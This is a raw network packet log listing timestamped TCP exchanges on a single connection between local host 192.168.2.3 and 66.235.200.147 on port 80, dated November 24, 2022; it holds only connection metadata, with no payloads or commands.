Nov 24, 2022 16:57:36.796868086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796891928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796926022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796946049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796956062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796988964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797009945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797019958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797034979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797053099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797084093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797106981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797117949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797122955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797148943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797197104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797235966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797266960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797296047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797316074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797328949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797341108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797360897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797390938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797411919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797424078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797455072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797476053 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797485113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797517061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797544003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797547102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797564030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797580004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797610044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797631979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797640085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797655106 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797672033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797703028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797723055 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797734022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797769070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797784090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797800064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797821045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797833920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797863960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797885895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797895908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797904015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797930002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797961950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.797983885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.797992945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798001051 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.798023939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798057079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798075914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.798088074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798122883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798144102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.798155069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798182011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798185110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.798202991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.798213959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798244953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798274994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798305988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798336029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798367977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798397064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798427105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798456907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798487902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798516989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798547983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798578024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798608065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798638105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798667908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798696995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798727036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798755884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798787117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798818111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798830032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.798849106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798855066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.798855066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.798892021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.798892021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798918962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.798928022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798959017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.798988104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799016953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799016953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799042940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799056053 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799078941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799113989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799144983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799175024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799206972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799236059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799267054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799298048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799325943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799345970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799360991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799393892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799423933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799453974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799459934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799487114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799500942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799500942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799519062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799540043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799550056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799560070 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799560070 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799581051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799611092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799628973 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799640894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799657106 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799673080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799705029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799725056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799773932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799798012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799827099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799829960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799844980 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799860001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.799876928 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.799904108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800230026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800265074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800282955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800295115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800308943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800327063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800359011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800378084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800389051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800409079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800419092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800446987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800467014 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800472021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800486088 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800502062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800519943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800533056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800574064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800587893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800602913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800630093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800652027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800656080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800672054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800688028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800703049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800714016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800731897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800743103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800756931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800770044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800791025 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800832987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800862074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800879002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800889969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800894022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800910950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800920010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800939083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800947905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800967932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.800976038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.800987005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801002026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801018953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801028967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801043034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801055908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801074028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801084042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801110983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801115990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801127911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801147938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801177025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801181078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801197052 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801202059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801217079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801233053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801248074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801270008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801280975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801304102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801327944 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801351070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801352978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801374912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801382065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801398039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801400900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801420927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801426888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801449060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801453114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801467896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801474094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801493883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801501036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801520109 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801527977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801542997 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801554918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801573038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801580906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801599026 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801608086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801623106 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801634073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801652908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801652908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801671028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801671028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801687002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801697969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801706076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801712036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801723957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801727057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801743031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801744938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801762104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801773071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801774979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801789045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801795006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801803112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801816940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801816940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801845074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801865101 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801881075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801882982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801918983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801928043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801937103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801955938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801959991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801975965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801980972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.801994085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.801995993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802014112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802028894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802031040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802045107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802056074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802073956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802073956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802073956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802093029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802094936 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802109003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802112103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802133083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802150011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802167892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802177906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802177906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802177906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802186966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802201033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802201033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802206993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802222967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802223921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802242041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802252054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802261114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802267075 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802278996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802282095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802300930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802305937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802319050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802325010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802337885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802339077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802356958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802361012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802376032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802383900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802395105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802397013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802413940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802418947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802433014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802438974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802452087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802453041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802470922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802481890 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802489996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802496910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802509069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802509069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802527905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802532911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802546978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802547932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802567005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802576065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802587032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802588940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802606106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802613020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802625895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802625895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802643061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802648067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802668095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802685022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802697897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802704096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802716017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802721977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802740097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802742004 CET	80	49713	66.235.200.147	192.168.2.3
